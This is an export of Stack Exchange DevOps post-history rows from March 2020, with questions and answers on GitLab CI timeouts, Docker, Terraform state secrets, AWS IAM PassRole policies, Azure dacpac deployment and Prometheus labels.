  <row Id="34124" PostHistoryTypeId="5" PostId="11147" RevisionGUID="80da3ffa-4e64-4a3d-8cd4-03878f222518" CreationDate="2020-03-24T09:10:26.680" UserId="20042" Comment="added 851 characters in body" Text="There are two types of timeouts for `GitLab CI` jobs:&#xD;&#xA;&#xD;&#xA;# Different timeouts settings&#xD;&#xA;&#xD;&#xA;There are three types of timeouts in `Gitlab CI`:&#xD;&#xA;&#xD;&#xA;* Project timeout&#xD;&#xA;* Runner timeout&#xD;&#xA;* Jobs timeout&#xD;&#xA;&#xD;&#xA;## Project `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each Runner you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;Runner timeout settings are defined in runner's edit page&#xD;&#xA;&#xD;&#xA;## Jobs timeout&#xD;&#xA;&#xD;&#xA;[GitLab CI/CD Pipeline Configuration Reference | GitLab](https://docs.gitlab.com/ce/ci/yaml/README.html#timeout)&#xD;&#xA;&#xD;&#xA;Job's `timeout` allows you to configure a timeout for a specific job. For example:&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;build:&#xD;&#xA;  script: build.sh&#xD;&#xA;  timeout: 3 hours 30 minutes&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  script: rspec&#xD;&#xA;  timeout: 3h 30m&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;# Precedence of different types of timeout&#xD;&#xA;&#xD;&#xA;The job-level `timeout` can exceed the [project-level timeout](https://docs.gitlab.com/ce/ci/pipelines/settings.html#timeout) but can not exceed the Runner-specific timeout.&#xD;&#xA;&#xD;&#xA;If Runner `timeout` smaller than [project defined timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout), will take the precedence." ContentLicense="CC BY-SA 4.0" />
  <row Id="34126" PostHistoryTypeId="5" PostId="11147" RevisionGUID="5f326b53-02a5-4e7a-a26f-8f751360fcfd" CreationDate="2020-03-24T09:45:01.903" UserId="20042" Comment="Examples of precedence of timeout directive" Text="There are two types of timeouts for `GitLab CI` jobs:&#xD;&#xA;&#xD;&#xA;# Different timeouts settings&#xD;&#xA;&#xD;&#xA;There are three types of timeouts in `Gitlab CI`:&#xD;&#xA;&#xD;&#xA;* Project timeout&#xD;&#xA;* Runner timeout&#xD;&#xA;* Jobs timeout&#xD;&#xA;&#xD;&#xA;## Project `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each Runner you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;Runner timeout settings are defined in runner's edit page&#xD;&#xA;&#xD;&#xA;## Jobs timeout&#xD;&#xA;&#xD;&#xA;[GitLab CI/CD Pipeline Configuration Reference | GitLab](https://docs.gitlab.com/ce/ci/yaml/README.html#timeout)&#xD;&#xA;&#xD;&#xA;Job's `timeout` allows you to configure a timeout for a specific job. For example:&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;build:&#xD;&#xA;  script: build.sh&#xD;&#xA;  timeout: 3 hours 30 minutes&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  script: rspec&#xD;&#xA;  timeout: 3h 30m&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;# Precedence of different types of timeout&#xD;&#xA;&#xD;&#xA;The job-level `timeout` can exceed the [project-level timeout](https://docs.gitlab.com/ce/ci/pipelines/settings.html#timeout) but can not exceed the Runner-specific timeout.&#xD;&#xA;&#xD;&#xA;If Runner `timeout` smaller than [project defined timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout), will take the precedence.&#xD;&#xA;&#xD;&#xA;## Examples of precedence of `timeout` directive&#xD;&#xA;See [Configuring GitLab Runners | GitLab](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: **Example 1 - Runner timeout bigger than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 24h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;  &#xD;&#xA;name: **Example 2 - Runner timeout not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;&#xD;&#xA;name: **Example 3 - Runner AND job timeout are not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  resulting_timeout: 2h&#xD;&#xA;&#xD;&#xA;name: **Example 4 - Runner timeout smaller than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;&#xD;&#xA;name: **Example 5 - Runner timeout smaller than Project timeout, Job timeout is bigger than Runner timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  job_timeout: 1h&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34127" PostHistoryTypeId="5" PostId="11147" RevisionGUID="116164ca-590a-43db-8e2a-098306495d00" CreationDate="2020-03-24T09:56:37.610" UserId="20042" Comment="added 2 characters in body" Text="There are three types of timeouts for `GitLab CI` jobs:&#xD;&#xA;&#xD;&#xA;# Different timeouts settings&#xD;&#xA;&#xD;&#xA;There are three types of timeouts in `Gitlab CI`:&#xD;&#xA;&#xD;&#xA;* Project timeout&#xD;&#xA;* Runner timeout&#xD;&#xA;* Jobs timeout&#xD;&#xA;&#xD;&#xA;## Project `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each Runner you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;Runner timeout settings are defined in runner's edit page&#xD;&#xA;&#xD;&#xA;## Jobs timeout&#xD;&#xA;&#xD;&#xA;[GitLab CI/CD Pipeline Configuration Reference | GitLab](https://docs.gitlab.com/ce/ci/yaml/README.html#timeout)&#xD;&#xA;&#xD;&#xA;Job's `timeout` allows you to configure a timeout for a specific job. For example:&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;build:&#xD;&#xA;  script: build.sh&#xD;&#xA;  timeout: 3 hours 30 minutes&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  script: rspec&#xD;&#xA;  timeout: 3h 30m&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;# Precedence of different types of timeout&#xD;&#xA;&#xD;&#xA;The job-level `timeout` can exceed the [project-level timeout](https://docs.gitlab.com/ce/ci/pipelines/settings.html#timeout) but can not exceed the Runner-specific timeout.&#xD;&#xA;&#xD;&#xA;If Runner `timeout` smaller than [project defined timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout), will take the precedence.&#xD;&#xA;&#xD;&#xA;## Examples of precedence of `timeout` directive&#xD;&#xA;See [Configuring GitLab Runners | GitLab](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: **Example 1 - Runner timeout bigger than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 24h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;  &#xD;&#xA;name: **Example 2 - Runner timeout not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;&#xD;&#xA;name: **Example 3 - Runner AND job timeout are not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  resulting_timeout: 2h&#xD;&#xA;&#xD;&#xA;name: **Example 4 - Runner timeout smaller than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;&#xD;&#xA;name: **Example 5 - Runner timeout smaller than Project timeout, Job timeout is bigger than Runner timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  job_timeout: 1h&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34128" PostHistoryTypeId="2" PostId="11149" RevisionGUID="624ae119-0e77-447d-bf1e-d55aca08a23e" CreationDate="2020-03-24T12:07:14.720" UserId="20343" Text="Recently I've read a good book about Terraform that I think answers your question (Terraform Up &amp; Running 2nd edition. ISBN-13: 978-1492046905. ISBN-10: 1492046906). &#xD;&#xA;&#xD;&#xA;Basically it says that all data in Terraform state file is stored in plain text, including sensitive data. The author says that at the moment of the writing (May 2019) there is no real solution for this, but workarounds like encryption and IAM to control user access based on policies (the book talks about AWS, so you have to find the Azure equivalent and prevent unauthorized access to the state file).&#xD;&#xA;&#xD;&#xA;You can find more details on Chapter 3, pages 78 and 79. There is also an open issue at Github about this: https://github.com/hashicorp/terraform/issues/516." ContentLicense="CC BY-SA 4.0" />
  <row Id="34129" PostHistoryTypeId="5" PostId="3902" RevisionGUID="d7c7ff75-19a6-48dc-a51d-94879dbae495" CreationDate="2020-03-24T14:15:00.980" UserId="4328" Comment="added 2 characters in body" Text="I have a base docker image which is used to run image analysis software. For each container created from the image, there are a set of configuration settings, some of which are secrets (encryption keys, customer information, etc.), that are used by the software to analyze and distribute the processed images. How can I safely pass these secrets to a container? " ContentLicense="CC BY-SA 4.0" />
  <row Id="34130" PostHistoryTypeId="2" PostId="11150" RevisionGUID="9b01240a-be54-4a82-b271-bad3ac0727c1" CreationDate="2020-03-24T15:16:46.340" UserId="20347" Text="We have some Docker images built from Ubuntu 16.04 base image, and we've been running them on hosts running Ubuntu 16.04; these hosts are laptop computers from different makes. However, we have had some problems finding drivers and we wind up installing them manually instead of having a smooth and seamless Ubuntu installation.&#xD;&#xA;&#xD;&#xA;We think that it could be an option to use Ubuntu 18.04 as the OS in the hosts, as this newer versions has better support for newer PCs.&#xD;&#xA;&#xD;&#xA;The question is: suppose that the host running Ubuntu 18.04 has &quot;built-in&quot; drivers for, say, the WiFi card, but those are not automatically available for Ubuntu 16.04. Will we need to anyways install those drivers manually in the Ubuntu 16.04 Docker image or will it just run OK since they are correctly installed in the host?&#xD;&#xA;&#xD;&#xA;I cannot get it from [Docker's own system overview](https://docs.docker.com/engine/docker-overview/#namespaces)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34131" PostHistoryTypeId="1" PostId="11150" RevisionGUID="9b01240a-be54-4a82-b271-bad3ac0727c1" CreationDate="2020-03-24T15:16:46.340" UserId="20347" Text="Can I run a Ubuntu 16 Docker image on a Ubuntu 18 host? Will I need to install hardware drivers already available to the host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34132" PostHistoryTypeId="3" PostId="11150" RevisionGUID="9b01240a-be54-4a82-b271-bad3ac0727c1" CreationDate="2020-03-24T15:16:46.340" UserId="20347" Text="&lt;docker&gt;&lt;containers&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34133" PostHistoryTypeId="2" PostId="11151" RevisionGUID="8fa1a40f-7b5d-41cb-b70f-74dd4c6b88a7" CreationDate="2020-03-24T15:47:41.607" UserId="20348" Text="Here is my scenario - &#xD;&#xA;&#xD;&#xA;I have access to source Azure SQL Database where i did few changes to schema (eg adding a table). Now I want to deploy this SQL code to prod Azure SQL Database using Azure DevOps dacpac task. &#xD;&#xA;&#xD;&#xA;Build pipeline -  I have used MS Build task to generate .dacpac file&#xD;&#xA;&#xD;&#xA;Release pipeline - I know Azure SQL server name and Database name but do not know Server admin credentials. How to deploy dacpac to the Prod target server? What are all the tasks required in Release pipeline to achieve this and it should be repeatable process. &#xD;&#xA;&#xD;&#xA;Any help would be really appreciated" ContentLicense="CC BY-SA 4.0" />
  <row Id="34134" PostHistoryTypeId="1" PostId="11151" RevisionGUID="8fa1a40f-7b5d-41cb-b70f-74dd4c6b88a7" CreationDate="2020-03-24T15:47:41.607" UserId="20348" Text="How to deploy Dev Azure SQL code to Prod Azure SQL using dacpac without knowing the target server credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="34135" PostHistoryTypeId="3" PostId="11151" RevisionGUID="8fa1a40f-7b5d-41cb-b70f-74dd4c6b88a7" CreationDate="2020-03-24T15:47:41.607" UserId="20348" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34136" PostHistoryTypeId="2" PostId="11152" RevisionGUID="1116334f-2e77-49d1-84c6-cdc2e4608512" CreationDate="2020-03-24T16:09:26.527" UserId="10142" Text="I'm using Docker Swarm, and I have `condition: always` in the `restart_policy` of my compose file, so my services are started automatically when the system reboots or the Docker daemon is restarted.&#xD;&#xA;&#xD;&#xA;What I'm trying to achieve is to also have the services pull and run the *latest* image when the system reboots or the daemon is restarted. This is for an IoT device, so yes, I really do want to do this.&#xD;&#xA;&#xD;&#xA;Now, if I manually take down and restart the stack, or if I use `docker service update --force --image my-image:latest my-service`, then the latest image is pulled and ran. But if I restart the system, it just keeps running the old image, and doesn't pull the latest one.&#xD;&#xA;&#xD;&#xA;I could work around this by removing the restart policy and using systemd to manage lifecycle instead, but I really don't want that extra hassle or complexity, and I'm not even sure how to work that to restart services that crash.&#xD;&#xA;&#xD;&#xA;Is there some way to achieve this with Docker Swarm alone?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34137" PostHistoryTypeId="1" PostId="11152" RevisionGUID="1116334f-2e77-49d1-84c6-cdc2e4608512" CreationDate="2020-03-24T16:09:26.527" UserId="10142" Text="How to automatically update Swarm services when the Docker daemon restarts" ContentLicense="CC BY-SA 4.0" />
  <row Id="34138" PostHistoryTypeId="3" PostId="11152" RevisionGUID="1116334f-2e77-49d1-84c6-cdc2e4608512" CreationDate="2020-03-24T16:09:26.527" UserId="10142" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;&lt;systemd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34139" PostHistoryTypeId="2" PostId="11153" RevisionGUID="85bf9d64-600f-4278-a519-215e23eef83f" CreationDate="2020-03-24T16:11:21.517" UserId="20349" Text="I hope you've figured it out yourself. In case you (or some other people) have that issue:&#xD;&#xA;&#xD;&#xA;The user that needs to attach / detach the instance profile to an instance needs:&#xD;&#xA;&#xD;&#xA;- EC2 actions to perform that. That includes:&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;    &quot;Sid&quot;: &quot;InstanceProfileAccess&quot;,&#xD;&#xA;    &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    &quot;Action&quot;: [&#xD;&#xA;        &quot;iam:GetInstanceProfile&quot;,&#xD;&#xA;        &quot;iam:ListInstanceProfiles&quot;,&#xD;&#xA;        &quot;iam:ListInstanceProfilesForRole&quot;,&#xD;&#xA;        &quot;iam:AddRoleToInstanceProfile&quot;,&#xD;&#xA;        &quot;iam:RemoveRoleFromInstanceProfile&quot;&#xD;&#xA;    ],&#xD;&#xA;    &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;- The `passRole` action to pass the role to the specific resource.&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;    &quot;Sid&quot;: &quot;PassDefaultInstanceProfileToEC2&quot;,&#xD;&#xA;    &quot;Effect&quot;:&quot;Allow&quot;,&#xD;&#xA;    &quot;Action&quot;:&quot;iam:PassRole&quot;,&#xD;&#xA;    &quot;Resource&quot;:&quot;arn:aws:iam::&lt;ID&gt;:role/&lt;ROLE_NAME&gt;&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;That user can gain access via policies or roles or group.&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;You can read more here:&#xD;&#xA;&#xD;&#xA;- [Granting Permission to Launch EC2 Instances with IAM Roles][1].&#xD;&#xA;- [Using Instance Profiles][2].&#xD;&#xA;- [IAM Roles for Amazon EC2][3].&#xD;&#xA;- [Granting a User Permissions to Pass a Role to an AWS Service][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/security/granting-permission-to-launch-ec2-instances-with-iam-roles-passrole-permission/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html&#xD;&#xA;  [3]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html&#xD;&#xA;  [4]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34140" PostHistoryTypeId="5" PostId="11143" RevisionGUID="e0daab07-8d78-490c-a5a5-4d8a35d6041a" CreationDate="2020-03-24T18:03:34.123" UserId="20042" Comment="formatting and tags" Text="My pipeline consists of very long jobs that build docker images by compiling a set of packages; all of them require ~ 3 hours on my runner. &#xD;&#xA;&#xD;&#xA;I set up my CI so that only one job can run at a time, in order to reduce the disk I/O overhead. But in this way many jobs fail, supposedly because they hit a job start timeout which seems to be bout 1h, with this message:&#xD;&#xA;&#xD;&#xA;&gt; There has been a timeout failure or the job got stuck. Check your timeout limits or try again&#xD;&#xA;&#xD;&#xA;I have not been able to find how to increase the job start timeout, since all the documentation I found is relative to the job duration timeout. &#xD;&#xA;&#xD;&#xA;So I’d need help with this, thanks. I'm using `GitLab CE 12.8.1` and `Gitlab Runner 11.5.1`." ContentLicense="CC BY-SA 4.0" />
  <row Id="34141" PostHistoryTypeId="6" PostId="11143" RevisionGUID="e0daab07-8d78-490c-a5a5-4d8a35d6041a" CreationDate="2020-03-24T18:03:34.123" UserId="20042" Comment="formatting and tags" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34142" PostHistoryTypeId="24" PostId="11143" RevisionGUID="e0daab07-8d78-490c-a5a5-4d8a35d6041a" CreationDate="2020-03-24T18:03:34.123" Comment="Proposed by 20042 approved by 20332 edit id of 1175" ContentLicense="CC BY-SA 4.0" />
  <row Id="34143" PostHistoryTypeId="2" PostId="11154" RevisionGUID="7b475e1c-9012-43c7-bddc-5d28e5f77a9a" CreationDate="2020-03-24T18:11:55.397" UserId="18637" Text="docker is a framework to run containers isolated independent of operational system under of you image in use.&#xD;&#xA;In theory you can run normally without problems. will depend on what you intend to run in the container." ContentLicense="CC BY-SA 4.0" />
  <row Id="34144" PostHistoryTypeId="5" PostId="10984" RevisionGUID="c91dc7ac-f6f7-4a1e-8af3-f334216534b4" CreationDate="2020-03-24T18:27:29.610" UserId="20025" Comment="Improved text." Text="The easiest solution for me was to execute &#xD;&#xA;&#xD;&#xA;`docker container prune`&#xD;&#xA;&#xD;&#xA;on the runner machine. The command removes all stopped docker containers and the `.lock` files therein. Running a pipeline from gitlab.com then starts a new container. (Note that all caches will be lost)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34145" PostHistoryTypeId="5" PostId="11147" RevisionGUID="0661ed58-4b6d-4b93-a285-6a7e5845dd1f" CreationDate="2020-03-24T18:28:35.290" UserId="20042" Comment="added 2 characters in body" Text="There are three types of timeouts for `GitLab CI` jobs:&#xD;&#xA;&#xD;&#xA;# Different timeouts settings&#xD;&#xA;&#xD;&#xA;There are three types of timeouts in `Gitlab CI`:&#xD;&#xA;&#xD;&#xA;* Project timeout&#xD;&#xA;* Runner timeout&#xD;&#xA;* Jobs timeout&#xD;&#xA;&#xD;&#xA;## Project `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout):&#xD;&#xA;&#xD;&#xA;&gt; Timeout defines the maximum amount of time in minutes that a job is able run. This is configurable under your project’s **Settings &amp;gt; CI/CD &amp;gt; General pipelines settings**. The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs’ running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed&#xD;&#xA;&#xD;&#xA;## Runner `timeout`&#xD;&#xA;According to [GitLab docs](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner):&#xD;&#xA;&#xD;&#xA;&gt; For each Runner you can specify a _maximum job timeout_.&#xD;&#xA;&#xD;&#xA;Runner timeout settings are defined in runner's edit page&#xD;&#xA;&#xD;&#xA;## Jobs timeout&#xD;&#xA;&#xD;&#xA;[GitLab CI/CD Pipeline Configuration Reference | GitLab](https://docs.gitlab.com/ce/ci/yaml/README.html#timeout)&#xD;&#xA;&#xD;&#xA;Job's `timeout` allows you to configure a timeout for a specific job. For example:&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;build:&#xD;&#xA;  script: build.sh&#xD;&#xA;  timeout: 3 hours 30 minutes&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  script: rspec&#xD;&#xA;  timeout: 3h 30m&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;# Precedence of different types of timeout&#xD;&#xA;&#xD;&#xA;The job-level `timeout` can exceed the [project-level timeout](https://docs.gitlab.com/ce/ci/pipelines/settings.html#timeout) but can not exceed the Runner-specific timeout.&#xD;&#xA;&#xD;&#xA;If Runner `timeout` smaller than [project defined timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#timeout), will take the precedence.&#xD;&#xA;&#xD;&#xA;## Examples of precedence of `timeout` directive&#xD;&#xA;See [Configuring GitLab Runners | GitLab](https://docs.gitlab.com/ee/ci/runners/#setting-maximum-job-timeout-for-a-runner)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;name: **Example 1 - Runner timeout bigger than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 24h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;  &#xD;&#xA;name: **Example 2 - Runner timeout not configured**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  job_timeout: 4h&#xD;&#xA;  resulting_timeout: 4h&#xD;&#xA;&#xD;&#xA;name: **Example 3 - Runner AND job timeout are not configured**&#xD;&#xA;  project_timeout: 24h&#xD;&#xA;  resulting_timeout: 24h&#xD;&#xA;&#xD;&#xA;name: **Example 4 - Runner timeout smaller than project timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;&#xD;&#xA;name: **Example 5 - Runner timeout smaller than Project timeout, Job timeout is bigger than Runner timeout**&#xD;&#xA;  project_timeout: 2h&#xD;&#xA;  runner_timeout: 30m&#xD;&#xA;  job_timeout: 1h&#xD;&#xA;  resulting_timeout: 30m&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34148" PostHistoryTypeId="2" PostId="11155" RevisionGUID="82fc4904-bc89-40ca-826a-e34660782147" CreationDate="2020-03-24T20:23:19.193" UserId="16059" Text="The docker container will be abstracted from the way that your host accesses the internet/network, and it should work fine / not care about if it's wifi or not/etc.&#xD;&#xA;&#xD;&#xA;You can happily run ubuntu docker containers on docker on top of windows, other linux variants (e.g. centos), mac, or anything else without issues.  So, this should pose no difficulty in practice." ContentLicense="CC BY-SA 4.0" />
  <row Id="34152" PostHistoryTypeId="2" PostId="11157" RevisionGUID="24473f86-8faf-4613-8201-21aa74a58d55" CreationDate="2020-03-25T01:38:12.987" UserId="13112" Text="Honestly, you have several questions to unwrap and there is no perfect guidance.  Database versioning is difficult at best.  However, there is guidance that I have been successful with.  In all cases, starting where you are as &quot;version 0&quot; is your best bet.&#xD;&#xA;&#xD;&#xA;For your first statement, use one of the following methodologies (or a combination that works best):&#xD;&#xA;&#xD;&#xA;* [EntityFramework Code First Migrations](https://docs.microsoft.com/en-us/ef/ef6/modeling/code-first/migrations/) - Treat the current state of your schema as well as any reference tables as version 0.&#xD;&#xA;&#xD;&#xA;* [DbUp and the DbUp Azure Pipelines tasks](https://marketplace.visualstudio.com/items?itemName=johanclasson.UpdateDatabaseWithDbUp) - This is a very simple, but effective way to get a &quot;poor-man's&quot; database migration methodology, if you follow some simple rules/conventions.  There are also ways to integrate &quot;running&quot; DbUp migrations as part of the start-up of your application, too, but I've had success executing DbUp migrations via Azure Pipelines releases.&#xD;&#xA;&#xD;&#xA;* [Red Gate Database Lifecycle Management (DLM) Automation Suite](https://documentation.red-gate.com/das) - This requires a bit more planning and comes with a cost, but Red Gate's tools integrate well and give you more of a complete DLM picture from integration of SSMS with Git version control, drift detection, Azure Pipelines tasks, and more.&#xD;&#xA;&#xD;&#xA;As far as the question of *should you* couple versioning of the database with the application, you'll need to answer this question.  Is the database shared between more than one application or is it dedicated to that application.  If &quot;dedicated&quot; is your answer, then versioning of the database with the application is the right thing to do and should be done so within the same source code repository.  If not, it will be difficult to decide which application &quot;owns&quot; the versioning of the database or if it needs to be versioned entirely independent of your apps.  If it is versioned independent of your apps, then you better have strong unit testing in all of the apps.&#xD;&#xA;&#xD;&#xA;Lastly, I will assume your &quot;pitfalls of using such logic&quot; refers to using your applications initialization/startup code to run an upgrade of the database to the intended version.  If I've assumed correctly, there is no right/wrong way.  What matters is that you understand where you need the automated process to fail to ensure your application does not incur a downtime because of a failed database migration.  If you upgrade a DB during initialization/startup of an application, then your app better have a fallback mechanism where it can function with the previous version of the DB until which time it's fixed.  This is where I'd recommend making failure of a DB upgrade part of the deployment process itself and not part of the application.  That way, if the DB upgrade fails (and you're doing it correctly), reverting to the previous version of the app upon failure ensures that downtime is minimized.&#xD;&#xA;&#xD;&#xA;And, when I refer to doing DB upgrades &quot;the right way,&quot; I refer to using methods that ensure the state of the DB schema is only changed atomically and transactionally such that failures in the middle of a deployment can be completely rolled back." ContentLicense="CC BY-SA 4.0" />
  <row Id="34153" PostHistoryTypeId="2" PostId="11158" RevisionGUID="8b280995-3105-4284-b3bf-e84d3bc30059" CreationDate="2020-03-25T03:40:58.690" UserId="6131" Text="Docker containers do not use hardware drivers. A containers network connection is abstracted by Docker bridge.&#xA;&#xA;I highly recommend you seek some free tutorial videos or check out Linux Academy to better understand Docker. I promise it will give you great insights." ContentLicense="CC BY-SA 4.0" />
  <row Id="34157" PostHistoryTypeId="2" PostId="11160" RevisionGUID="4e8a0e19-4b1b-4b02-a9a2-9afe7adb0081" CreationDate="2020-03-25T07:18:14.663" UserId="17329" Text="I am trying to make a view in Grafana that would return the result of node_memory_MemFree_bytes{job=&quot;node-exporter&quot;}} &lt; 1000000000 by nodes from Prometheus, how can I get that extra label?&#xD;&#xA;I get the result only in ips and I want to filter out in alert later the master nodes.&#xD;&#xA;From what I understand I need get the node names somehow, but I don't understand where should I edit that." ContentLicense="CC BY-SA 4.0" />
  <row Id="34158" PostHistoryTypeId="1" PostId="11160" RevisionGUID="4e8a0e19-4b1b-4b02-a9a2-9afe7adb0081" CreationDate="2020-03-25T07:18:14.663" UserId="17329" Text="Add a custom label to a metric when querying from prometheus/prometheus-operator" ContentLicense="CC BY-SA 4.0" />
  <row Id="34159" PostHistoryTypeId="3" PostId="11160" RevisionGUID="4e8a0e19-4b1b-4b02-a9a2-9afe7adb0081" CreationDate="2020-03-25T07:18:14.663" UserId="17329" Text="&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
